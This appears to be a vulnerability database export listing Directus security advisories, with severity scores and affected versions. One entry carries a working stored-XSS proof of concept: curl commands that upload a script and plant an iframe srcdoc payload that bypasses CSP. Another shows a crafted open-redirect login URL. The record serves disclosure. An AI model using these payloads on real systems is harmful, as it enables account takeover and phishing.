reference_id GHSA-jgf4-vwc3-r46v
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-jgf4-vwc3-r46v
fixed_packages
0
url pkg:npm/directus@10.13.0
purl pkg:npm/directus@10.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hc2-7tsc-nka1
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4v6n-unvz-wff3
7
vulnerability VCID-4x1w-8bx4-rqf9
8
vulnerability VCID-547q-d837-dfcz
9
vulnerability VCID-662k-n18g-mybg
10
vulnerability VCID-6ggp-xn4c-gya3
11
vulnerability VCID-6mr6-u3vk-sygm
12
vulnerability VCID-88w3-rw8u-rqea
13
vulnerability VCID-a75s-xyu6-wbcw
14
vulnerability VCID-a9tr-a8r5-57en
15
vulnerability VCID-bwww-3wep-2ydf
16
vulnerability VCID-dy98-51bk-p3fk
17
vulnerability VCID-exwx-sqry-c3gc
18
vulnerability VCID-gnzq-q9g9-m3a4
19
vulnerability VCID-hv63-3zhy-dyae
20
vulnerability VCID-j711-a6gm-b7hr
21
vulnerability VCID-kugb-dwxd-6fhe
22
vulnerability VCID-mk5k-pf2s-mfe9
23
vulnerability VCID-n7g1-hmy7-j7g9
24
vulnerability VCID-n9br-39bb-7ugt
25
vulnerability VCID-rq5y-ee4h-gkff
26
vulnerability VCID-szpk-4g6r-f3e6
27
vulnerability VCID-trbn-m8sj-ffa4
28
vulnerability VCID-uft7-5e9d-dqh8
29
vulnerability VCID-vt3b-2dr3-aka2
30
vulnerability VCID-wcaq-4zzz-qfb7
31
vulnerability VCID-wx6m-6dac-xqaj
32
vulnerability VCID-xbbf-pcgy-37h9
33
vulnerability VCID-ycj2-8tqq-jyag
34
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.0
aliases CVE-2024-39896, GHSA-jgf4-vwc3-r46v
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-95tn-g8wd-63hq
17
url VCID-a75s-xyu6-wbcw
vulnerability_id VCID-a75s-xyu6-wbcw
summary
Directus has a DOM-Based cross-site scripting (XSS) via layout_options
### Impact
Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.

### PoC
To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.

1. Upload the following JavaScript file.

Using the upload functionality at `POST /files`. This PoC will show an alert message.

```js
export TARGET_HOST="http://localhost:8055"
export ATTACKER_EMAIL="malicious@malicious.com"
export ATTACKER_PASSWORD="123456"
root_dir=$(dirname $0)
mkdir "${root_dir}/static"

curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
    -c "${root_dir}/static/attacker_directus_session_token" \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"

id_url_file=$(echo "alert('Successful DOM-based XSS')" |
  curl -s -k -X 'POST' "${TARGET_HOST}/files" \
    -b "${root_dir}/static/attacker_directus_session_token" \
    -F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")
```

2. Create a preset for a collection and store the preset ID.

Or use a preset already created from GET /presets. The following example uses the direct_users preset.

```
attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
```

When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.

Notes:

Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">`.

We can target any collection that uses the vulnerable template structure that renders the layout option section.

In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.
references
0
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 3.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
1
reference_url https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw
reference_id
reference_type
scores
0
value 3.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw
2
reference_url https://github.com/advisories/GHSA-9qrm-48qf-r2rw
reference_id GHSA-9qrm-48qf-r2rw
reference_type
scores
url https://github.com/advisories/GHSA-9qrm-48qf-r2rw
fixed_packages
0
url pkg:npm/directus@11.3.3
purl pkg:npm/directus@11.3.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4x1w-8bx4-rqf9
5
vulnerability VCID-662k-n18g-mybg
6
vulnerability VCID-6ggp-xn4c-gya3
7
vulnerability VCID-6mr6-u3vk-sygm
8
vulnerability VCID-88w3-rw8u-rqea
9
vulnerability VCID-a9tr-a8r5-57en
10
vulnerability VCID-bwww-3wep-2ydf
11
vulnerability VCID-dy98-51bk-p3fk
12
vulnerability VCID-exwx-sqry-c3gc
13
vulnerability VCID-gnzq-q9g9-m3a4
14
vulnerability VCID-hv63-3zhy-dyae
15
vulnerability VCID-j711-a6gm-b7hr
16
vulnerability VCID-kugb-dwxd-6fhe
17
vulnerability VCID-mk5k-pf2s-mfe9
18
vulnerability VCID-n7g1-hmy7-j7g9
19
vulnerability VCID-n9br-39bb-7ugt
20
vulnerability VCID-rq5y-ee4h-gkff
21
vulnerability VCID-trbn-m8sj-ffa4
22
vulnerability VCID-uft7-5e9d-dqh8
23
vulnerability VCID-vt3b-2dr3-aka2
24
vulnerability VCID-wcaq-4zzz-qfb7
25
vulnerability VCID-ycj2-8tqq-jyag
26
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.3.3
aliases GHSA-9qrm-48qf-r2rw
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-a75s-xyu6-wbcw
18
url VCID-a9tr-a8r5-57en
vulnerability_id VCID-a9tr-a8r5-57en
summary
Directus's webhook trigger flows can leak sensitive data
### Describe the Bug

 In Directus, when a **Flow** with the "_Webhook_" trigger and the "_Data of Last Operation_" response body encounters a ValidationError thrown by a failed condition operation, the API response includes sensitive data. This includes environmental variables, sensitive API keys, user accountability information, and operational data.

This issue poses a significant security risk, as any unintended exposure of this data could lead to potential misuse.

![Image](https://github.com/user-attachments/assets/fb894347-cd10-4e79-9469-8fc1b2289794)
![Image](https://github.com/user-attachments/assets/a20337a2-005f-4cfd-ba30-fc5f579ed6c4)
![Image](https://github.com/user-attachments/assets/9b776248-4a20-46f0-92a4-3760d8e53df9)


### To Reproduce

**Steps to Reproduce:**
1. Create a Flow in Directus with:
   - Trigger: Webhook
   - Response Body: Data of Last Operation
2. Add a condition that is likely to fail.
3. Trigger the Flow with any input data that will fail the condition.
4. Observe the API response, which includes sensitive information like:
   - Environmental variables (`$env`)
   - Authorization headers
   - User details under `$accountability`
   - Previous operational data.

**Expected Behavior:**
In the event of a ValidationError, the API response should only contain relevant error messages and details, avoiding the exposure of sensitive data.

**Actual Behavior:**
The API response includes sensitive information such as:
- Environment keys (`FLOWS_ENV_ALLOW_LIST`)
- User accountability (`role`, `user`, etc.)
- Operational logs (`current_payments`, `$last`), which might contain private details.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-30353
reference_id
reference_type
scores
0
value 0.00357
scoring_system epss
scoring_elements 0.58213
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-30353
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 8.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-fm3h-p9wm-h74h
reference_id
reference_type
scores
0
value 8.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-26T17:43:59Z/
url https://github.com/directus/directus/security/advisories/GHSA-fm3h-p9wm-h74h
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-30353
reference_id
reference_type
scores
0
value 8.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-30353
4
reference_url https://github.com/advisories/GHSA-fm3h-p9wm-h74h
reference_id GHSA-fm3h-p9wm-h74h
reference_type
scores
url https://github.com/advisories/GHSA-fm3h-p9wm-h74h
fixed_packages
0
url pkg:npm/directus@11.5.0
purl pkg:npm/directus@11.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2uz6-wjn7-kug4
3
vulnerability VCID-4x1w-8bx4-rqf9
4
vulnerability VCID-662k-n18g-mybg
5
vulnerability VCID-6ggp-xn4c-gya3
6
vulnerability VCID-6mr6-u3vk-sygm
7
vulnerability VCID-88w3-rw8u-rqea
8
vulnerability VCID-bwww-3wep-2ydf
9
vulnerability VCID-dy98-51bk-p3fk
10
vulnerability VCID-exwx-sqry-c3gc
11
vulnerability VCID-hv63-3zhy-dyae
12
vulnerability VCID-kugb-dwxd-6fhe
13
vulnerability VCID-mk5k-pf2s-mfe9
14
vulnerability VCID-n7g1-hmy7-j7g9
15
vulnerability VCID-n9br-39bb-7ugt
16
vulnerability VCID-rq5y-ee4h-gkff
17
vulnerability VCID-trbn-m8sj-ffa4
18
vulnerability VCID-vt3b-2dr3-aka2
19
vulnerability VCID-wcaq-4zzz-qfb7
20
vulnerability VCID-ycj2-8tqq-jyag
21
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.5.0
aliases CVE-2025-30353, GHSA-fm3h-p9wm-h74h
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-a9tr-a8r5-57en
19
url VCID-bwww-3wep-2ydf
vulnerability_id VCID-bwww-3wep-2ydf
summary
Directus: GraphQL Alias Amplification Denial of Service Due to Missing Query Cost/Complexity Limits
### Summary

Directus' GraphQL endpoints (`/graphql` and `/graphql/system`) did not deduplicate resolver invocations within a single request. An authenticated user could exploit GraphQL aliasing to repeat an expensive relational query many times in a single request, forcing the server to execute a large number of independent complex database queries concurrently, multiplying database load linearly with the number of aliases. The existing token limit on GraphQL queries still permitted enough aliases for significant resource exhaustion, while the relational depth limit applied per alias without reducing the total number executed. Rate limiting is disabled by default, meaning no built-in throttle prevented this from causing CPU, memory, and I/O exhaustion that could degrade or crash the service. Any authenticated user, including those with minimal read-only permissions, could trigger this condition.

### Fix

A request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases a query contains.

### Impact

- **Service degradation or outage:** Concurrent complex database queries exhaust the connection pool and server resources, affecting all users
- **Low privilege required:** Any authenticated user, including those with read-only access to a single collection, can trigger this condition
- **Linear scaling:** Impact scales with the number of aliases and depth of relational queries
- **Compounded by concurrency:** Multiple simultaneous requests multiply the effect further
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35441
reference_id
reference_type
scores
0
value 0.00015
scoring_system epss
scoring_elements 0.03115
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35441
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-ph52-67fq-75wj
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T14:47:06Z/
url https://github.com/directus/directus/security/advisories/GHSA-ph52-67fq-75wj
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35441
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35441
4
reference_url https://github.com/advisories/GHSA-ph52-67fq-75wj
reference_id GHSA-ph52-67fq-75wj
reference_type
scores
url https://github.com/advisories/GHSA-ph52-67fq-75wj
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-35441, GHSA-ph52-67fq-75wj
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-bwww-3wep-2ydf
20
url VCID-djhf-pqnt-6qcp
vulnerability_id VCID-djhf-pqnt-6qcp
summary
URL Redirection to Untrusted Site in OAuth2/OpenID in directus
### Summary
The authentication API has a `redirect` parameter that can be exploited as an open redirect vulnerability as the user tries to log in via the API URL https://docs.directus.io/reference/authentication.html#login-using-sso-providers /auth/login/google?redirect for example.

### Details
There's a redirect that is done after successful login via the Auth API GET request to `directus/auth/login/google?redirect=http://malicious-fishing-site.com`, which I think is here: https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L394. While credentials don't seem to be passed to the attacker site, the user can be phished into clicking a legitimate directus site and be taken to a malicious site made to look like a an error message "Your password needs to be updated" to phish out the current password.

### PoC
Turn on any auth provider in Directus instance. Form a link to `directus-instance/auth/login/:provider_id?redirect=http://malicious-fishing-site.com`, login and get taken to malicious-site. Tested on the `ory` OAuth2 integration.

### Impact
Users who login via OAuth2 into Directus.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-28239
reference_id
reference_type
scores
0
value 0.0023
scoring_system epss
scoring_elements 0.45784
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-28239
1
reference_url https://docs.directus.io/reference/authentication.html#login-using-sso-providers
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-03-13T16:10:42Z/
url https://docs.directus.io/reference/authentication.html#login-using-sso-providers
2
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
3
reference_url https://github.com/directus/directus/commit/5477d7d61babd7ffc2f835d399bf79611b15b203
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-03-13T16:10:42Z/
url https://github.com/directus/directus/commit/5477d7d61babd7ffc2f835d399bf79611b15b203
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-fr3w-2p22-6w7p
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-03-13T16:10:42Z/
url https://github.com/directus/directus/security/advisories/GHSA-fr3w-2p22-6w7p
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-28239
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-28239
6
reference_url https://github.com/advisories/GHSA-fr3w-2p22-6w7p
reference_id GHSA-fr3w-2p22-6w7p
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fr3w-2p22-6w7p
fixed_packages
0
url pkg:npm/directus@10.10.0
purl pkg:npm/directus@10.10.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-88w3-rw8u-rqea
14
vulnerability VCID-95tn-g8wd-63hq
15
vulnerability VCID-a75s-xyu6-wbcw
16
vulnerability VCID-a9tr-a8r5-57en
17
vulnerability VCID-bwww-3wep-2ydf
18
vulnerability VCID-dy98-51bk-p3fk
19
vulnerability VCID-exwx-sqry-c3gc
20
vulnerability VCID-gnzq-q9g9-m3a4
21
vulnerability VCID-hv63-3zhy-dyae
22
vulnerability VCID-j711-a6gm-b7hr
23
vulnerability VCID-jx6x-mxnq-4qe2
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-wx6m-6dac-xqaj
36
vulnerability VCID-ycj2-8tqq-jyag
37
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.10.0
aliases CVE-2024-28239, GHSA-fr3w-2p22-6w7p
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-djhf-pqnt-6qcp
21
url VCID-dy98-51bk-p3fk
vulnerability_id VCID-dy98-51bk-p3fk
summary
Directus' insufficient permission checks can enable unauthenticated users to manually trigger Flows
### Summary

Directus Flows with a manual trigger are not validating whether the user triggering the Flow has permissions to the items provided as payload to the Flow. Depending on what the Flow is set up to do this can lead to the Flow executing potential tasks on the attacker's behalf without authenticating.

### Impact

Bad actors could execute the manual trigger Flows without authentication, or access rights to the said collection(s) or item(s).

Users with manual trigger Flows configured are impacted as these endpoints do not currently validate if the user has read access to `directus_flows` or to the relevant collection/items. The manual trigger Flows should have tighter security requirements as compared to webhook Flows where users are expected to perform do their own checks.

### Workarounds
Users have to implement permission checks for read access to Flows and read access to relevant collection/items.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-53889
reference_id
reference_type
scores
0
value 0.00244
scoring_system epss
scoring_elements 0.47871
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-53889
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/22be460c76957708d67fdd52846a9ad1cbb083fb
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:29Z/
url https://github.com/directus/directus/commit/22be460c76957708d67fdd52846a9ad1cbb083fb
3
reference_url https://github.com/directus/directus/releases/tag/v11.9.0
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:29Z/
url https://github.com/directus/directus/releases/tag/v11.9.0
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-7cvf-pxgp-42fc
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:29Z/
url https://github.com/directus/directus/security/advisories/GHSA-7cvf-pxgp-42fc
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-53889
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-53889
6
reference_url https://github.com/advisories/GHSA-7cvf-pxgp-42fc
reference_id GHSA-7cvf-pxgp-42fc
reference_type
scores
url https://github.com/advisories/GHSA-7cvf-pxgp-42fc
fixed_packages
0
url pkg:npm/directus@11.9.0
purl pkg:npm/directus@11.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-4x1w-8bx4-rqf9
3
vulnerability VCID-6ggp-xn4c-gya3
4
vulnerability VCID-6mr6-u3vk-sygm
5
vulnerability VCID-88w3-rw8u-rqea
6
vulnerability VCID-bwww-3wep-2ydf
7
vulnerability VCID-exwx-sqry-c3gc
8
vulnerability VCID-hv63-3zhy-dyae
9
vulnerability VCID-kugb-dwxd-6fhe
10
vulnerability VCID-mk5k-pf2s-mfe9
11
vulnerability VCID-n9br-39bb-7ugt
12
vulnerability VCID-rq5y-ee4h-gkff
13
vulnerability VCID-trbn-m8sj-ffa4
14
vulnerability VCID-vt3b-2dr3-aka2
15
vulnerability VCID-wcaq-4zzz-qfb7
16
vulnerability VCID-ycj2-8tqq-jyag
17
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.9.0
aliases CVE-2025-53889, GHSA-7cvf-pxgp-42fc
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dy98-51bk-p3fk
22
url VCID-exwx-sqry-c3gc
vulnerability_id VCID-exwx-sqry-c3gc
summary
Directus: Open Redirect via Parser Bypass in OAuth2/SAML Authentication Flow
### Summary

An open redirect vulnerability exists in the login redirection logic. The `isLoginRedirectAllowed` function fails to correctly identify certain malformed URLs as external, allowing attackers to bypass redirect allow-list validation and redirect users to arbitrary external domains upon successful authentication.

### Details

A parser differential exists between the server-side URL validation logic and how modern browsers interpret URL path segments containing backslashes. Specifically, certain URL patterns are incorrectly classified as safe relative paths by the server, but are normalized by browsers into external domain references.

This is particularly impactful in SSO authentication flows (e.g., OAuth2 providers), where an attacker can craft a login URL that redirects the victim to an attacker-controlled site immediately after successful authentication, without any visible indication during the login process.

### Impact

- **Phishing:** Users may be silently redirected to attacker-controlled sites impersonating legitimate services after authenticating.
- **Credential/token theft:** The redirect can be chained to capture OAuth tokens or authorization codes.
- **Trust erosion:** Users lose confidence in the application after being redirected to unexpected domains post-login.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35410
reference_id
reference_type
scores
0
value 0.00016
scoring_system epss
scoring_elements 0.03684
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35410
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-cf45-hxwj-4cfj
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T14:47:25Z/
url https://github.com/directus/directus/security/advisories/GHSA-cf45-hxwj-4cfj
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35410
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35410
4
reference_url https://github.com/advisories/GHSA-cf45-hxwj-4cfj
reference_id GHSA-cf45-hxwj-4cfj
reference_type
scores
url https://github.com/advisories/GHSA-cf45-hxwj-4cfj
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35410, GHSA-cf45-hxwj-4cfj
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-exwx-sqry-c3gc
23
url VCID-hv63-3zhy-dyae
vulnerability_id VCID-hv63-3zhy-dyae
summary
Directus: GraphQL Schema SDL Disclosure Setting
## Summary

When `GRAPHQL_INTROSPECTION=false` is configured, Directus correctly blocks standard GraphQL introspection queries (`__schema`, `__type`). However, the `server_specs_graphql` resolver on the `/graphql/system` endpoint returns an equivalent SDL representation of the schema and was not subject to the same restriction. This allowed the introspection control to be bypassed, exposing schema structure (collection names, field names, types, and relationships) to unauthenticated users at the public permission level, and to authenticated users at their permitted permission level.

## Impact

Administrators who set `GRAPHQL_INTROSPECTION=false` to hide schema structure from clients would have had a false sense of security, as equivalent schema information remained accessible via the SDL endpoint without authentication.

## Credit

